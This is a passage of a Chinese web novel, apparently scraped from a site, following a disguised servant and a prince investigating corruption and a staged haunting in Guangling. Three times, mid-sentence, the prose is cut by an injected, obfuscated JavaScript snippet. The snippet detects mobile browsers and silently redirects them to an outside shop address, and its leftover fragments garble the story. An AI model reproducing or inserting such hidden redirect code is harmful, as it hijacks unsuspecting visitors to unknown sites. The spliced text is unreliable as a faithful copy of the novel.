“无碍，我亦有私心，”叶望举杯回敬，看了看杜琼玉，斟酌道，“杜姑娘今后什么打算，若是想同芸姑娘团聚，我打点些倒是容易。” 杜琼玉听了这话，笑了笑：“殿下，你知道的，我不会走。” 叶望沉默。 “自从杜家出了事，我被充入官妓，一切便回不去了。这么些年，我事事钻营，忍气吞声，就为了有一天……”杜琼玉说着激动起来，眼眶泛红，“我父亲是枉死的。” “我不信父亲为小利徇私舞弊。这些年，我时常做梦，梦见父亲关在湿冷的地牢里，被人踩在脚下。我唤他，声嘶力竭却发不出声，他那样干净的人……”杜琼玉说不下去了，她稳了稳神，声音有些颤抖，“这种感觉，殿下明白吗？” 叶望看着她，久久没有回答。 当然明白。忠义之士长埋青骨，奸佞小人逍遥法外，亦是他日日的梦魇。 “姑娘有头绪吗？” 杜琼玉正身道：“六年前，我父亲出事，一同参与殿试誊录的礼部司郎中亦被处置，其在礼部司有一任职的同乡，事发不久便解绶还乡。我觉着蹊跷，便想办法辗转来了广陵。广陵太大了，要找一个人谈何容易。我想着这人毕竟曾官至五品，定是不甘做凡人，便暗中等待。这一等便是五年，这些年，我也逐渐在广陵扎根。” “绮陌楼这地方虽不大，却是广陵有头有脸的人物云集之地。推杯换盏间，一些消息轻飘飘便被套出。近来，我听闻广陵出了一位临波先生，书法字画技艺炉火纯青，尤以水墨画见长，传言其曾在京城为官。” 杜琼玉抿口茶，看了眼叶望：“我知殿下此行广陵绝不止览游，我就开门见山了。我帮殿下打听想要的消息，殿下帮我寻临波先生，如何？” 叶望点头：“这倒不难。”他欲言又止，抬眼看了看窗外，不知何时下起了细雨。 烟波浩渺，碧清的河面上泛起一层薄雾，远处的群山如水墨晕染，勾勒出层叠的轮廓。 “司祁一直在寻你。”叶望终究开了口。 杜琼玉呼吸一滞，细指抽了抽。 “还是不告诉他吗？” 她沉默良久，自嘲笑了笑：“我如今，早就不是过去那个玉儿了。” “他是当朝户部尚书的嫡子，纡朱拖紫，前途无量，不该在我身上浪费前程。” “倘若那不是他想要的。”叶望定定看着她。 杜琼玉别过眼：“我同他如今已是云泥之别，何苦徒增忧愁。何况，我有我的事要做。” “我明白了，”叶望不再说，站起身，“时辰不早了，姑娘保重。” 叶望步至门口，拉开格门，正堂已是一派萎靡模样。他面不改色地踏过散落一地的衣衫，见薛世平一边系腰挂一边急匆匆地跑来。 “备车，本王要回府了。” “殿下这就回去啦。”薛世平挠头道。 “舟车劳顿，不可过度放纵，”叶望勾了勾嘴角，拍拍他的肩，“反正来日方长嘛。” 薛世平得了叶望如此亲近，一时受宠若惊，连忙点头应是：“快，为殿下备车。” 季辞秋一行人安厝好行装，已近日入。宅子临着一处开阔的水系，晚霞铺陈在天际，被河水拉得格外长，好似朱砂的染料被肆意倾倒。 季辞秋看入了迷，忽得发现宅门口的柳树下立着位身别短刀的男子。 她清了清嗓：“这位仁兄，有何事？” 那男子闻声打量了她几眼，迟疑正欲开口，葵生听到动静跑了出来。 “嚯，我就知道你会回来。”葵生见到来人，愣了几秒，一把搭上他的肩膀，“如何，还是跟在王爷身边自在吧。” 青戈被葵生架着很不自在，一闪身推开他，兀自道：“将军呢？” “还未回府，”葵生乐呵呵道，指了指季辞秋，“这是白轩，府里新来的车夫。” 季辞秋抱拳：“白轩，幸会。” 谁知那青戈并未看她，淡淡嗯了一声便走开了。一时二人尴尬异常，葵生面带歉意道：“害，他这人就这样，贼轴，无趣得很。” 季辞秋讪讪笑了笑。 不多时，叶望一身酒气地抵了府，刚入府，便听葵生神秘兮兮道：“王爷，看什么人来了。”说着一闪身，青戈上前半跪道：“青戈，叩见将军。” 叶望愣了愣，半天反应过来：“近来如何？” 青戈欲开口，警惕地瞧了眼其余的人，低声道：“长平一战后，圣上体恤长林军，在籍者领了赏，可自行去留。我听闻将军不再领兵，不愿留下，便退籍还了乡。” “这几个月，我欲发怀念长平的日子，听闻将军下广陵游历，便擅自来了。” “久别重逢，自是件喜事，王爷，张罗桌家宴如何？”葵生迫不及待地期待搓手，“先前绮陌楼那顿，都是大人物，我都没怎么动筷。” 叶望点头：“让黎叔安排。”又朝青戈招了招手，“你随我来。” 青戈默不作声地跟着叶望至了内堂，便听叶望沉声道：“你可考虑清楚了。” 青戈闻言跪下抱拳。 “此时不同于彼时，”叶望平静道，“如今我是五殿下，宫中与军营天差地别，多得是波谲云诡、居心叵测之事，有苦难言、步履薄冰，你可能忍受？” 青戈没有犹豫：“青戈明白，既已跟定了将军，刀山火海、穷崖绝谷亦不容辞。我从军至今，父母皆故，亦了无牵挂，风静浪平的日子我不愿过，我想跟着将军，就算马革裹尸，我亦心甘情愿。” 晚霞漂尽最后一缕颜色，匆匆谢了幕，暗沉沉的夜压下来，衬得叶望心中明如白昼，他上前拍了拍青戈的肩：“我已不再领兵，日后同葵生一样叫我王爷就好。” “是，”青戈见叶望同意，语气轻快了些，又想起什么，连忙道：“这些日子，我在广陵走了走，觉着有些奇怪，这广陵城似乎不像表面这般太平。” “何以见得？” “我在长平时，便听闻广陵物产丰富，是名副其实的富饶之地。可这几日走下来，发现广陵街头的乞者流民众多，普通民众的生活与并不富裕。” “还有，”青戈压低声音道，“开春有一支运送粮食的漕船队自此出发，行至半途尽数沉没。沉没时，船上大半数人丧生，我听说一舵夫因水性好侥幸活了下来，自那之后便发了疯，逢人就念叨‘活不了了’，食不知味、夜不能寐，没过多久便撒手人寰。” 叶望皱了皱眉，漕船案结案异常迅速，短短数日，涉案的便一一处置。富饶之地，易生贪腐。淮南节度使盘踞此地良久，不知势力蔓延至何处，若要查清怕是要费些时日。 “青戈能为王爷做些什么？” “不急，”叶望淡淡道，“看到府里束白虎纹蹀躞的护卫了吗，避着他们些，里面不知混入了谁的耳目。” 青戈警惕地朝外看了看，低声道：“属下明白。” ——— 安顿下来后，季辞秋开始惦记接头人的铁匠铺，好在先前同叶望说过探望表亲，此时便光明正大地提了出来。叶望果然未阻止，季辞秋简单收拾了些，一大早出了门。 广济坊在城南，步行有些路程，时辰尚早，坊内的店铺将将张罗着开张。季辞秋入了一家馄饨摊，点上一碗热腾腾的馄饨，刚吃了一口，便疑心自己味觉失灵。 好寡淡，广陵人口味都这般清淡吗，季辞秋心中疑惑。可绮陌楼宴上的菜似乎很正常，她想着问了掌柜一句：“大娘，这馄饨是不是忘放盐啦？” 那大娘闻言有些尴尬：“若是加盐，需另付些钱。” “加盐还要付钱？”季辞秋大受震撼。 “现今盐价贵，小本生意，还望小公子体谅。”大娘赔着笑道。 看她这样，季辞秋也没话说，草草吃完剩下的，继续赶路。 路上行人渐多，小摊也逐渐支起，季辞秋被吸引了注意，左看看右看看，甚是新奇。渐渐地，她觉着有些不对劲。 走着走着，她拐入一个人烟稀少的小巷，身后一直若隐若现的脚步声清晰了些。 她没有停下，继续在迷宫般的巷子里穿梭。趁脚步声未近，她加快步伐，悄悄跃上一隐蔽的屋顶。 躲在屋脊后，众收眼底。近处有一名侍卫正四处张望，是朝廷派给叶望随身的护卫，远处是一身着黑色窄袖短袍的男子，竟是青戈。 看这架势，似是两波人。季辞秋思索了一下，青戈定是叶望派来偷偷跟随，而朝廷的护卫很可能是将她认做了叶望的人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705551|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺道监视她。 她不动声色地轻轻跃下，假装未曾发现，继续行路。过了一道弯，眼前现出一条大河，这便是官河了。 眼看着就要到铁匠铺，季辞秋进退两难，忽得看到一婆婆从河边端了盆衣裳回来，她灵机一动，亲切凑上前去：“舅姥，还记得我吗？” 那婆婆一顿，仔细看了看季辞秋，有些迟疑。 迟疑就对了，季辞秋颇为自然地接过婆婆手中的盆，揽着她往回走：“小名二顺，还记得不，家中排行老二。我娘是舅姥儿子表姊的妹妹，经常同我提起舅姥，说先前多亏了舅姥照顾。” 走到屋口，里面有一约莫十三四岁的少女，季辞秋见状嚯了一声：“长这么大了，我娘说小时候经常抱你，一抱就哭鼻子。” 这般自来熟，方婆与少女都被唬住了，愣在原地绞尽脑汁地回忆。 “想起来了，瞧我这记性，年纪大不中用了，”方婆率先抢答，“你小时是不是在我家尿过床？” 这下轮到季辞秋尴尬了，她尬笑道：“这舅姥都记得，哈哈哈———” “这些年没见你，可还好？”方婆俨然将季辞秋认做亲戚，关切问道。 “只我一人了。”季辞秋摇摇头，“五年前京中大旱，爹娘大哥都饿死了，我一人逃至富贵人家讨生活，直到如今。” 方婆听了心疼万分：“怪我，先前不知道这档事，也没记挂你们。今后你若是不嫌弃，这儿就是你的家。” 季辞秋顺着叶玄给她造的户籍说，未曾想受到了这般真诚对待，一时心里不是滋味，只能重重点头。 她想起什么，从包袱中翻出两卷布帛：“我前几日在坊中逛，见着这布匹，心觉好看，便买下来了。舅姥收着，给姑娘裁几件衣裳。” “万万不可，太贵重了，”方婆见此连忙摆手，推拉了一番，拗不过季辞秋非给不可的决心，便唤了少女一声，“阿黎，快过来收着。” 少女眨着双水灵灵的大眼睛，有些欣喜又腼腆道：“谢谢表哥。” “这番因何来广陵，可有住处？”方婆引着季辞秋至堂屋坐下。 季辞秋正欲回答，忽得门口一阵嘈杂，一身着花绿锦服的公子闯了进来，笑嘻嘻道：“阿黎，可想好了？” 方婆闻声，如临大敌，将少女护至身后。 那公子大摇大摆地走进屋坐上堂椅，见季辞秋站在一旁，故作惊讶地挑了挑眉：“怎么，想和他远走高飞？阿黎的眼光未免太差了。” 季辞秋打量了他几眼，这人虽五官生得不差，可面相着实油滑，再加上这身花枝招展的衣服，活脱脱一个花花公子。 “公子误会了，鄙人是她的表哥。” 胡泽谦没有看她，冷哼一声：“我想也是，阿黎还不至看上这等穷酸民。” 此话一出，众人脸色都不好看。胡泽谦却好似没事人，探身朝方婆身后望去：“如何，本公子家财万贯，玉树临风，又这般疼你，上哪去找这样的福气。” 阿黎躲在方婆身后，脸色涨红，支支吾吾道：“阿黎...还要再考虑些时日。” 胡泽谦闻言收了笑，站起身踱至方婆身旁。 “阿黎，本公子已经很给面子了，你不要敬酒不吃吃罚酒。”他一把攥住阿黎的手肘，“被本公子看上是你家祖辈积的福，你不愿要，我帮你。来人！” 一时数个大汉齐刷刷站成一排。 方婆见状，急急跪下道：“胡公子看上小女是小女的福气，贱民不敢高攀呐。她爹现今不在，要不等他回来，一切都好说。” 胡泽谦却不愿扯皮，轻飘飘道：“带走。其他两个看着办，力收着点，别打死就好。” 季辞秋紧了紧拳头，正欲摸腰间的匕首，门外传来粗鲁的清道声：“让开，让开。” 只见四抬大轿上一人掀帘道：“吵吵嚷嚷什么事？” 季辞秋抬眼，竟是薛世平。 “薛大人，真巧，”胡泽谦眼尖，早已笑吟吟地上前。 薛世平见是胡泽谦，面色柔和了些：“胡公子啊，我同殿下与郭副使正要去你父亲那赏茶呢。此处发生何事了？” 风吹过，将帘幕掀得更开，最里坐了位着绛紫敞袍的男子，朝外望了望，眉目英挺，贵气逼人。 “参见殿下，”胡泽谦凛了凛神，“胡某有罪，因着无关紧要的私事叨扰到殿下，某这就清道。”说着便急急招呼手下。 季辞秋同叶望对视了一眼，见他淡淡移开目光，又见道路清好就要起轿，心一横，高声道：“卑职参见王爷！” 12. 苗头 这一声，顿时让在场沉默了一瞬。 薛世平仔细看了看，一拍脑袋道：“这不是前几日绮陌楼的小兄弟吗？”又看到季辞秋身旁瑟缩的少女，已是猜到大半。 他笑着看看胡泽谦，又看看季辞秋道：“这中间许是有些误会吧。” “我今日探望表妹，不想撞见这场面。光天化日之下，强抢民女，王法何在？”季辞秋愤愤道。 围观的百姓越来越多，薛世平面上挂不住，只得对胡泽谦道，“胡公子，这男女间你情我愿的事，强求不来，你这又是何必呢。” 胡泽谦没想到季辞秋竟有这层关系，一时心急：“这......” 一直没吭声的郭统清了清嗓道：“我看胡公子一表人才，倒是桩不错的亲事。说是强抢民女，这女子毫发无伤，怎么就强抢了？” 胡泽谦见有人撑腰，说话更有了底气：“就是，本公子是来请人的，怎么就是抢了？血口喷人，快把他抓起来。” “你......”方婆听了这般颠倒黑白的言论，气得发抖，颤声道，“天地良心，胡公子自从看上我家阿黎，便整日威逼利诱，甚至想断了我儿的手艺。老妇虽为贱民，却也不能这般冤枉，请各位大人做主啊。” 郭统不耐烦地皱了皱眉：“薛刺史，先押走，事后再审吧。殿下的事儿你耽误得起吗？” “不耽误。”叶望放下茶盏，不紧不慢道，“这出戏不比赏茶逊色。” 郭统脸上的肉抽了抽，没说话。 叶望看着胡泽谦道：“胡公子，薛刺史说得对。天涯何处无芳草，你又何必在这一棵树上吊死。” 胡泽谦猛地被点名，不知所措地愣在原地。 “胡公子这般仪表非凡，身边定是不缺莺莺燕燕，可一片痴心，倒是难能可贵。”叶望面不改色道。 “听本王一句劝，这样的女子错付真心，不值当。” 胡泽谦原本正怕叶望帮着季辞秋说话，没成想被一通夸赞，顿时冲晕了头，飘飘欲仙。都说这五殿下举止不端，简直是危言耸听，我看殿下善解人意地紧！ 他连连点头：“殿下英明，胡某顽愚至此，让殿下见笑了。” “云鹤，我们走。”为首的那位叫云鹤的五大三粗的男子，怒目圆睁地瞪了一眼季辞秋，大手一挥，身后的随从纷纷出了屋。 胡泽谦临走前想到什么，恭敬对叶望道：“多谢殿下提点，改日胡某请殿下品美酒赏娇人，玩个尽兴。” 叶望微笑点了点头，而后轻飘飘看了季辞秋一眼。 一行人浩浩荡荡地离去，季辞秋松了口气。今日借着叶望的身份脱身，郭统与叶望的关系势必更为紧张，只怕叶望会迁怒于她。 “外甥，你这跟的贵人是殿下啊，真真是出息了。”方婆躲过这一劫，一脸欣慰地看着季辞秋，“你现今是我们家的大恩人，以后在广陵有何难处，尽管同你舅姥说。” 为避耳目随意找的人家，如今却真似家人一般，季辞秋有点恍惚，点了点头。 她惦记着铁匠铺的事，没留多久，便告辞离开了。出门走了一段路，确认无人跟踪后，季辞秋迈入了那家有些简陋的铁匠铺。 叮叮当当声下，店里一精壮男子头也不抬道：“这里不做散客的单子，请回吧。” “掌柜误会了，我来这儿，是寻一样宝器。”季辞秋道，“镔铁打造，枪长一丈三，枪头细长如芦叶，精钢淬银而成。” 男子听了这话，停下手中的活：“客官说的，可是芦叶枪。” 季辞秋摇头：“是，也不是。我要的这枪不似寻常兵器，它需以主人鲜血浇灌，而枪身渐如银丝，可削铁如泥。你可有这样的宝器？” 男子打量了她几眼，站起身净了手，抱拳道：“肃风，幸会。” “幸会，”季辞秋亦抱拳，“我授三殿下之意来此，还请阁下多担待。” “客气，今后每五日，你将晋王见的人做的事一一记下，去你所在坊中寻一摊前挂肃字的男子，交由他便可。若是紧急，可自行来这找我。” “明白。”季辞秋点头，这铺子不大，挂满了各式各样的铁器，暗沉沉地有些压抑，铺子的后院似乎更为开阔，她朝里看了看，却见肃风不动声色地挡住了她的视线。 她识趣地收回眼。 —— 广陵的日子无波无澜地过着，叶望每日同广陵的达官贵人不是在私园赏花游乐，便是去绮陌楼欢饮达旦，乐不思蜀。某天他忽得想起芸娘，便令青戈去查，抓了芸娘的相好对质，最终大人不记小人过地放了芸娘，除此之外，便没有什么特别的事了。 季辞秋在府上也甚是无聊，那青戈同个闷葫芦一样无趣得很，是以她苦练武功，找机会同葵生切磋解闷。久而久之，她的武功突飞猛进，竟隐隐有旗鼓相当之势。 “厉害啊，白轩。你小子天生就是这块料，为师很欣慰。”葵生故作姿态地拍拍季辞秋的肩，“日后发达了，不要忘了为师。” 季辞秋被他这番话逗笑了，亦装模作样道：“哪里哪里，是葵师父教得好。” 二人正说笑着，却听青戈倚在门边，撇嘴道：“花拳绣腿。” 这声不大不小，正好让二人听了个清。葵生见状道：“忽得想起来，青戈的轻功是一等一的，你要不要同他切磋切磋，也好长进。” 季辞秋看了眼青戈，这人自入府便莫名其妙地对她充满敌意，也不知哪里惹到他了。 她心中亦是不爽，直视青戈道：“想来入府至今，还未见青戈兄的身手，今日可否领教一二？” 青戈等到这话，摆正身子，将腰上的短剑丢至一旁：“刀剑无眼，怕伤了你，我不用，你随意。” 这般挑衅，季辞秋微微一笑：“无碍，我这人向来看重公平，我也不用。” 话音刚落，青戈腾空而起，手掌比刀，向她劈来。 好快，季辞秋心中惊异，疾向侧闪，纵身跃上墙头。 青戈紧随其后，步步紧逼，二人打得难舍难分，带动着屋顶的砖瓦沙沙作响。 “哎，悠着点，别把屋打塌了。”葵生忍不住提醒道。 可正在兴头上的二人哪顾得上他，斗得愈来愈激烈。屋顶终究承受不住，随着点地的动作，滑落下一大片瓦。 与此同时，叶望一脚迈进了正堂的大门。 …… 八目相对，甚是尴尬。葵生噤若寒蝉，季辞秋和青戈自知闯了祸，灰溜溜地自墙头而下，齐刷刷站到一旁。 叶望扫了他们一眼，背手绕过地上的狼藉，悠悠道：“两刻马步。” “唉，让你们悠着点，这下好了。”葵生恨铁不成钢地看着正扎马步的二人。 季辞秋汗如雨下，快要坚持不住，遂转移注意道：“青戈兄的轻功确是高，咱们改日再约。” “你也不赖。”青戈闷闷道。 不打不相识，季辞秋觉得这话绝对适用于青戈。自从那次切磋后，青戈虽面上仍是不太理她，但态度改善了许多。 这日清晨，季辞秋醒来洗漱，见葵生和青戈的房门紧闭，似是出了门。她心中疑惑，寻了黎叔问道：“他俩去哪了？” 黎叔笑道：“王爷今日一早让他两陪着垂钓去了。” 他想起什么，往她手中塞了一小袋铜钱道：“对了，王爷吩咐你每日上街打听点段子，江湖匪盗、奇闻逸事都可，解解乏。” 季辞秋有些意外，叶望竟给她派了活。 来广陵至今，她还是个车夫，并没有成为侍卫。她能感觉到，叶望对她仍有所防备，叶玄亦是。 这乱世棋盘之上，各人有各人的谋划。既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705552|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是棋子，便要展现棋子的价值，成为杀招，方能留至终局。 她理了理情绪，打起精神出了门。 要段子，那便要去酒肆茶坊里听，季辞秋随意挑了家叫醉春楼的酒肆，刚一落座，小二迎上前来：“客官，要点什么？” 季辞秋扫了眼柜台上挂的一溜酒牌，停在了琼花酿上：“我要这个。” “呦，客官真有眼光，这是我们店的招牌，包您满意。” 酒肆里一群醉汉，季辞秋硬着头皮听了一堆烂俗的荤段子。当然，这其中少不了叶望这位风流倜傥的五皇子。 “听说五殿下见着那琼娘便走不动道了，近来成了绮陌楼的常客，日日鱼水之欢。”一粗布男子灌了口酒，舔着嘴唇道。 “琼娘不是那郭大人的人吗？”一旁的瘦削男子诧道，“真是一物降一物，如今这尊大佛来了，郭大人怕是得咽下这口气。” “这琼娘当真是个尤物啊，我若是有机会一临芳泽就好了。”斜对的男子痴痴笑道。 粗布男子闻此一唏：“青楼的有几个好货，都是被玩/烂了的。这琼娘也就倚着从京城来这点，一步步被捧上来的。有何稀奇。” 季辞秋听着这粗鄙的话皱了皱眉。琼娘是京城来的？她心中一动，这也太巧了。 一连好多天，她白日混迹于各大酒肆茶坊，夜晚将见闻同说书先生一样说与叶望。其中不乏些家长里短鸡毛蒜皮的琐事，叶望总是闭目听着，从未打断。 不知不觉中，季辞秋将广陵的风俗民情摸了个透。这一日，她像往常一样迈入醉春楼，小二见了，轻车熟路地引她至窗边落座，颇有些为难道：“客官，今日琼花酿售罄了。您要不看看别的？” 季辞秋奇怪：“往日都有，怎得今日售磬了？” 小二赔笑道：“客官有所不知，我们醉春楼的琼花酿都出自怀兴坊的高家酒酿。今日得知琼花酿要减产，掌柜还在问其中缘由呢，往后要点怕是得早点来了。” 季辞秋听着小二的描述，想起初到广陵那日，自绮陌楼回府的路上，似是在怀兴坊见过一家挂着“高”的酿酒坊。想起那老板不自然的神情，她直觉这事蹊跷。 “既没有琼花酿，那我改日再来。”季辞秋起了身，决定先去高家酒酿一探究竟。 这次，她没有直接入店，而是绕至酒坊的后侧，跃上一棵榕树。 高处俯望，酒坊的后院尽收眼底。院中堆叠着许多制酒的器皿，另一边是成片的酒坛，看上去似乎没有异样。 唯一奇怪的地方是院中四角分别站着侍卫着装的随从，一个酒坊，需要这样的阵仗吗？ 季辞秋心中疑惑，可方前掌握的消息太少，仅靠推测贸然行动得不偿失，她只得按下，悄悄离开。 醉春楼没得去了，季辞秋随意走入一家茶馆，刚落座，便听窗外几位妇人凑在一起议论着什么。 “听说了吗，昨日夜里东水门码头闹鬼了！”一瘦削女子脸色苍白道。 另一丰腴女子附和道：“我也听说了，说是有两家丁起夜，见到一群男子绕着码头打转。一家丁好奇上前询问，结果转过来的人全身肿胀不成形状，吐着长舌，一下将他的头拧了下来。” “天，有这等事？”提着菜篮的妇人惊恐道。 “千真万确，都传疯了。”胖女子低声道，“他们都说，是前阵子漕船上的冤魂来害人了！” 瘦削女子面色更白：“这事同我们寻常百姓有何关系，冤有头债有主，可别找错了人。” “这冤魂的怨气若是特别重，是会肆意害人的，”胖女子低声道，“今后夜里当心着点。” 这番话说完，三人没了继续聊下去的心情，心事重重地离开。 季辞秋静静听着，漕船沉没都是前月末的事儿了，怎么偏挑着这个时间闹鬼？ 13. 闹鬼 季辞秋于傍晚回了府，刚到府上，便见叶望骑着马，同葵生青戈风尘仆仆地归来。 “垂钓如何？”季辞秋拍了拍葵生的肩。 葵生迟疑了一下，含糊道：“不赖。” 这日晚上，季辞秋同往常一样将白日的见闻说与叶望，其中特意提到了东水门码头闹鬼的事。 叶望听了季辞秋绘声绘色地描述，冷不丁问：“你怎么看？” 季辞秋一愣，恭声道：“白轩自小便是从死人堆中爬出来的，见过的人心比鬼可怕。” “你是说，你不惧这些。”叶望看了她一眼。 “不惧。”季辞秋定定道。21世纪的唯物主义战士，才不会被迷信蛊惑。 “好，”叶望点头，“这几夜，你同青戈去东水门码头蹲点，会一会这群鬼如何？” 季辞秋没想到叶望把这样一个任务派给她，欣喜之余，郑重道：“是。” 是夜，万籁俱寂。 广陵城的屋檐之上，掠过两道黑影。季辞秋与青戈蒙面着夜行衣，于暗沉沉的夜里穿梭。 自从闹鬼的事传开，家家户户便早早闭门不出，让本就寂静的广陵城更添了一分死气。 到东水门码头已是子夜，二人寻了一处隐蔽的桥墩藏下，静静等着。 今夜的月亮很圆，月光照在码头系船的木杙上，白楞楞的。因着邻湖，四周笼罩着若有若无的雾气，寒气逼人。远处时不时传来不可名状的异声，分不清是现实还是幻听。 季辞秋打了个寒战，小声问道：“葵生怎么不来？” “他最怕这些。”青戈面无表情道。 “他怕这个？”季辞秋有点意外，正欲再说什么，见青戈忽得面色一凛。 她赶忙朝码头那边看去。 不知是不是错觉，雾气比先前更浓了一些，有一些傀儡状的身影若隐若现。他们低垂着头，机械地绕着木杙打转，喉咙发出“哒哒”的声音，说不出来的诡异。 季辞秋和青戈都被眼前的场景震住了，按着短刀屏息盯着。他们彼此对视一眼，青戈正欲起身，季辞秋按住了他。 她捡起一枚石子，对准码头旁的石墩弹了过去。那群鬼听到动静，纷纷转过身来。 浑身肿胀、长吐舌头，与传言一致。待它们走近，季辞秋定睛看了看。 有影子，她心中嗤道，装神弄鬼。 青戈也发现了这点，顿时惧色全无。二人从桥墩下腾跃而起，照着队首的那鬼劈了过去。 那鬼倒是耳力不凡，听到动静迅速后撤避开。其余的见到这般不速之客，齐齐抽出横刀尖啸着扑来。 竟是些有身手的，季辞秋直觉背后的水愈深，顾不得许多，一边打一边有意观察着。一来二去，竟真看出点什么。 打了许久，那群人见这二人是个硬茬，猛得往地上掷了一枚红丸，霎时升起一阵呛人的红烟。再一睁眼，已不见踪影。 回府已是寅初，季辞秋路过静水轩角门，见叶望的屋中微弱地亮着灯。 次日，叶望未像往常叫上葵生和青戈出府，亦没有唤她二人问昨夜之事。季辞秋心中疑惑，见葵生与青戈如常，也不好多问，只得按捺下来。 又过了几日，这天晚上，叶望终于唤了二人。 季辞秋同青戈入了静水轩，见叶望着一身靛色长袍于正堂端坐。因着在府内，穿着并不正式，宽袍松松垮垮地敞着，露出内里素色的中衣。 不知是不是错觉，季辞秋觉得叶望似乎憔悴了些，面色在烛火的映照下竟有些苍白。 “如何？”叶望淡淡开口。 “见着了，那群人约莫丑初两刻现的身，身下有影，乃是有人装神弄鬼。”青戈道。 “可知是何人？” 青戈垂头：“我同白轩上去打了几回合，本想活捉一个盘问，奈何疏忽让其脱了身，请王爷责罚。” 叶望垂眸未说话，却听季辞秋道：“我瞧着像官府的人。” “何以见得？” “那群人一直有阵型。打斗中，我有意冲散，但每次冲散他们又极快复原，若非是严苛的集体训练难以达到如此效果。”季辞秋回忆道，“还有，他们虽用的普通横刀，但却习惯于突刺，可见是经常使用长矛类的军中兵器所致。” 叶望听了这番话，看向季辞秋。夜色下，这个伏着的身影似一头小兽，正在悄悄积攒力量。 是个可塑之才。 若为自己所用，大有可为，可若为他人所用，亦后患无穷。 他不动声色道：“本王知道了，不必再去了。” 待二人走后，叶望起身，忽觉胸中不适，撑着方桌呕出一口血。黎叔见状，忙至右厢房中取出一金纸包的白粉递给叶望。 叶望接过，仰头就水服下，才稍稍平复。 黎叔焦心道：“太医不是说余毒五月发一次吗，怎得这才两月便发。” 叶望拧眉，长呼一口气：“许是先前百花宴被下了药，让毒发提前了些。” 黎叔红着眼道：“王爷，这罂|子粉可不得常服。虽说以毒攻毒，但毕竟是味毒药，听说还极易上瘾，有致幻效果。” 叶望点头：“嗯，我有分寸。” “对了，”他想起什么，“先前让你查的事可有进展？” 黎叔叹了口气，摇头道：“去季家祖宅看了，荒废许久，没有居住的痕迹。说来奇怪，季姑娘往广陵方向逃了之后，便再也没出现新的踪迹了。” 叶望皱了皱眉，自从得知季恪遗女在逃，他一直暗地里打听她的消息，此番前来广陵其一便是为此。 季恪生前常说亏欠女儿太多，他便想着，若是寻着了人，护她周全，也算是小小地还了点季恪这些年的情。 只是这人还杳无音讯，其他的事又接踵而至。 他揉了揉眉心，开始回想季辞秋所说的话。前几日，他唤葵生与青戈，打着垂钓的幌子，去东水门码头附近打听漕船案幸存舵夫生前的消息。 因有那帮护卫跟踪，调查遮遮掩掩，推进得十分缓慢。几番周折，得知舵夫有一位卖船具的好友，漕船出事后，那舵夫疯疯癫癫的去找过好友几回，据说二人不欢而散，后来便没再去了。 本打算次日去寻这位好友，却被突如其来的毒发打乱了。 如今官府的人似乎有所察觉，装神弄鬼地警示，越说明这其中有问题。 必须快点去找人。 叶望平稳了呼吸，站起身。宅上的明月惨白地挂在半空，摇摇欲坠。他在院中站了许久，直到寒霜打湿衣襟。 清晨，叶望又叫上葵生和青戈出发了，季辞秋早习以为常，独身一人出了门。她挂念着方婆和阿黎，从集市上买了只鸡，往广济坊走。 刚到方婆家不远，见一群少年传着一皱巴巴的纸团，一个身影在其中周旋，颇有些无措。 “还给我，这是我的东西。”阿黎颤声道。 一男孩手颠着纸团：“听我娘说，你都要嫁给胡大公子了，还整这些花活做甚？” “我没有，与你有何干系？”阿黎作势要抢。 那男孩轻松避开，传给同伴：“还在这嘴硬。你这样的，驳了胡公子，还有谁敢娶？” 另一同伴接过，附和道：“是啊，不过这小妮子倒是有几分姿色。这样，你求我，我勉为其难考虑考虑，把你娶了。” “你！”阿黎站在原地，泪水在眼眶里打转。 季辞秋面无表情地走近，截下空中的纸团，笑眯眯道：“谁抢的？” “关你什么事？”男孩不耐烦地上下打量她。 下一秒，季辞秋一把抓住男孩的胳膊拧了半圈：“我问，谁抢的？” 男孩哀嚎了一声，当场就范：“不是我，是他。” 被指的男孩面露惧色，仍强撑道：“我只是逗她玩，哪知她这般...”娇气二字还没吐出口，便被季辞秋骇人的眼神吓回去了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705553|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“道歉。”季辞秋冷冷道。见他不愿，抽出另一只手将他薅了过来，与先前的男孩拧在一起。 “都给我道歉。”季辞秋一一看过去。 被拧的男孩吃痛，大哭道：“道歉就道歉，对不起！”其他男孩见状赶忙应声。 这动静惊到了附近的大人，一妇人小跑过来，尖声道：“干什么，放开我儿子！” 季辞秋见状，眯了眯眼：“来了正好，这是你儿子？我还以为他没爹没娘呢。” “你说什么？再说一遍？”那妇人作势掐过来，被季辞秋一掌掀翻。 “我说——生了孩子就要管教，欺负人算什么本事，小心惹祸上身。” 